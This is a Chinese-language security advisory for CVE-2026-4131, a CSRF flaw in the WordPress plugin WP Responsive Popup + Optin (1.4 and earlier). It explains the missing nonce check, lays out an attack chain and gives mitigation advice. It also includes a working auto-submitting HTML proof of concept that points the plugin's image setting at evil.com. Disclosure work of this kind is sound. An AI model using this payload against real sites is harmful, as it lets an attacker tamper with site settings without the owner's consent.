CVE-2026-4131 CVSS 6.1 中危

CVE-2026-4131 WP插件跨站请求伪造漏洞

披露日期: 2026-04-22

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-4131

漏洞类型

跨站请求伪造 (CSRF)

CVSS评分

6.1 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

WP Responsive Popup + Optin

漏洞概述

WP Responsive Popup + Optin WordPress插件在1.4及以下版本中存在跨站请求伪造（CSRF）漏洞。该漏洞源于管理页面设置表单wpo_admin_page.php缺少nonce生成与验证机制。未经身份验证的攻击者可诱导管理员点击恶意链接，利用伪造请求修改插件设置（如wpo_image_url），从而对网站造成安全威胁。

技术细节

该漏洞的核心在于缺乏CSRF令牌保护。在WordPress插件开发中，修改设置的操作应使用wp_nonce_field生成令牌，并在提交时验证。然而，受影响版本的wpo_admin_page.php直接处理POST请求而未进行check_admin_referer或wp_verify_nonce检查。攻击者可构造一个包含自动提交表单的恶意HTML页面，表单action指向插件设置接口，并将wpo_image_url等参数修改为恶意值。当管理员在已登录状态下访问该页面时，浏览器会自动发送携带会话Cookie的请求。由于服务端无法区分请求来源，攻击者的修改请求将被执行。这可能导致管理员权限下的设置被篡改，甚至结合其他漏洞导致更严重的后果。

攻击链分析

STEP 1

侦察

攻击者确认目标网站安装了WP Responsive Popup + Optin插件且版本小于等于1.4。

STEP 2

构造载荷

攻击者编写恶意HTML页面，包含指向插件设置页面的CSRF表单，设置恶意的wpo_image_url参数。

STEP 3

投递诱饵

攻击者通过邮件或即时通讯工具将恶意链接发送给目标网站的管理员。

STEP 4

执行攻击

管理员点击链接，浏览器在后台自动提交表单，插件设置被修改为攻击者指定的值。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- PoC for CSRF to update plugin settings -->
<html>
  <body>
    <script>history.pushState('', '', '/')</script>
    <form action="http://target-site/wp-admin/admin.php?page=wpo_admin_page" method="POST">
      <input type="hidden" name="wpo_image_url" value="http://evil.com/exploit.jpg" />
      <input type="hidden" name="wpo_submit_settings" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

影响范围

WP Responsive Popup + Optin <= 1.4

防御指南

临时缓解措施

建议立即将插件升级至修复了该漏洞的最新版本。如果暂时无法升级，应限制对WordPress后台的访问，仅允许可信IP访问，或者暂时禁用该插件以防止被利用。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表